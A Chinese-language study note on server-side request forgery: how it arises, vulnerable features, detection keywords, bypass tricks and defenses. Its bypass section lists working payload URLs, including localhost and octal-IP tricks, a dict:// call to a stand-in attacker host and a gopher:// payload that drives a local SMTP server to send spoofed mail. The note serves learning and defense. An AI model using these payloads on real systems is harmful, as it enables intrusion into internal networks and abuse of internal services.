0x01 简介
SSRF(Server-Side Request Forgery),服务端请求伪造。
攻击利用了可访问Web服务器(A)的特定功能构造恶意payload;攻击者在访问A时,利用A的特定功能构造特殊payload,由A发起对内部网络中系统B(内网隔离,外部不可访问)的请求,从而获取敏感信息。此时A被作为中间人(跳板)进行利用。
SSRF漏洞原因,主要是由于服务端提供了从其他服务器获取数据的功能,但未对目标地址进行过滤和校验。
常见业务场景(功能点):
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
- 转码服务,适配手机屏幕大小,通过URL地址进行图片转码
- 图片加载与下载,通过URL加载网络图片(头像上传、等)
- 图片、文章收藏,通过URL获取目标的title等信息
- 其他加载URL的功能
- XXE漏洞点
具体示例,可参考bwapp、乌云各种SSRF漏洞。
0x02 漏洞利用
- 内网探测(端口、服务、指纹信息)
- 文件读取(敏感信息)
- 内网应用攻击、反弹Shell(特定环境)
0x03 漏洞检测
前文提到的特定的功能点:
- 分享,通过URL地址分享网页内容,通过URL获取目标页标签等内容
- 转码服务,适配手机屏幕大小,通过URL地址进行图片转码
- 图片加载与下载,通过URL加载网络图片(头像上传、等)
- 图片、文章收藏,通过URL获取目标的title等信息
- 其他加载URL的功能
- XXE漏洞点
URL关键字:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
自动化检测工具,AcuMonitor。
通常的Web扫描器原理都比较简单(如下图),扫描器发送payload到目标主机,分析返回的response后根据特定规则进行告警。对于SSFR、XXE等漏洞不适用,无法定义统一的验证规则,何况有些情况是无回显的。
这个工具也是利用XXE中OOB以及基于时间延时的攻击向量进行漏洞验证,下图已经比较清楚了。如需详细了解,参考上文链接。
由于工作行业,个人实际工作中几乎没遇到过SSRF问题。所以这里绕过技巧,主要也是网上的一些分享,有些不是非常清楚,先做个记录,后续补充。具体可以阅读参考内容。
- 添加端口号绕过(域名过滤的情况)
- 攻击本地
http://localhost
http://127.0.0.1:80
http://[::]:80
- 利用@,待补充
http://example.com@127.0.0.1
- 短地址绕过
- 特殊域名,xip.io为执行任意IP的域名
http://127.0.0.1.xip.io/
- 进制转换,16进制、八进制等。待验证
115.239.210.26 >>> 16373751032
//首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
//然后把 73efd21a 这十六进制一起转换成8进制
//记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
- 利用协议
//当url协议限定只为http(s)时,可以利用follow redirect 特性
//构造302跳转服务,
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://ssrf.php?
url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
0x04 防御
- 白名单过滤及DNS解析
优先考虑白名单方式验证,过滤应用需要的域名及IP。
白名单不能满足需求时考虑黑名单方式,例如禁止请求私有IP地址。黑名单容易存在过滤不全的问题。
- 响应处理
对服务器响应内容进行处理(验证是否为预期响应内容),任何情况下都不建议直接返回服务器响应内容给客户端。
- 禁用不必要的URL协议
这个不用多说,主要就是通过file、http等协议进行利用,如果不是必要的建议直接禁用。
- 内部服务认证
基于不可信原则,内网服务需进行认证鉴权。
参考:
https://www.secpulse.com/archives/65832.html
https://www.freebuf.com/column/157466.html
https://www.t00ls.net/articles-41070.html
https://blog.csdn.net/u010726042/article/details/77806775
https://www.jianshu.com/p/d1d1c40f6d4c
https://www.cnblogs.com/s0ky1xd/p/5859049.html
https://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
SSRF --RCE
https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/